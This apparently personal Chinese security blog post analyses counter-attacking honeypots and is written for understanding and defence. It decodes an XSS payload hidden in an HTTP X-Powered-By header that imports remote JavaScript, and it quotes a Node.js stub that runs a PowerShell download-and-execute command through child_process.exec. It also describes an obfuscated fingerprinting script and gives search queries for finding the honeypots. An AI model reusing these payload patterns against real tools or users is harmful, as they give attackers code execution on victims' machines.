响应头反制
根据土司老哥的截图找过去,看到 X-Powered-By 里塞了一大串 HTML 实体:
X-Powered-By: PHP/7&#...;<img src=1 onerror=import...>

尝试用 Python 解码。因为套了两层实体,所以循环调用 html.unescape():
from html import unescape
value = response_header
while True:
decoded = unescape(value)
if decoded == value:
break
value = decoded
print(value)
第二次解码后得到:
PHP/7<marker><img src=1 onerror=import(unescape(
'http://<redacted>/<marker>/Node.js'
))>
前面的 <marker> 是一段随机字符串,和后面脚本路径里的目录对应,应该是用来标识样本的。
Node.js 载荷
访问 XSS 里的远程脚本,核心结构是:
(function () {
require("child_process").exec(
"powershell <download and execute payload>"
);
})();
看着就是用来反制扫描器的,触发链大概是:
响应头被当作 HTML 渲染
-> img onerror
-> 动态 import 远程 JavaScript
-> Electron/Node.js require
-> child_process.exec
普通浏览器页面里没有 require(),所以这段更像是针对开启 Node.js 集成、又把响应头直接写进 DOM 的扫描器或 Electron 工具。
接口
接口当晚已经被表哥们翻得差不多了,主要是 JSONP、XSS,还有些后来已经失效。
反-反蜜罐插件
在看接口时,有些会带上 xxoo 这种意☆义☆不☆明的参数:

后面在推上看到 drivertom 表哥说,这是用来绕过反蜜罐插件的。
common.js
按照另一篇文章里的 FOFA 语句搜了一下,打开几个站看,页面只比正常业务站多加载了:
monitordevinfo/common.js
代码用了字符串表、数组轮转和大量索引访问,把它放进 JavaScript Deobfuscator 展开后,能看到浏览器环境和调试状态检测。


当时搜到的样本基本都有这些特征:
monitordevinfo/common.js
nginx/1.16.1
相同的混淆结构
当时猜测这批蜜罐不是逐个克隆页面,而是通过反代快速部署的。nginx/1.16.1 只能作为同一批部署模板的线索,不能单独拿来判断蜜罐。
最后
通过响应头里的实体编码继续搜:
header="import(unescape('http"

可以看到不少地方部署了基本一样的蜜罐,当时搜到的站清一色是 7 月份新建的。随手记了几组仿冒登录页和调试现场:




你很会黑吗?
你会黑有个屁用啊
出来混要有势力 要有背景
你哪个道上的?
......
原来是踩蜜罐了
参考
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。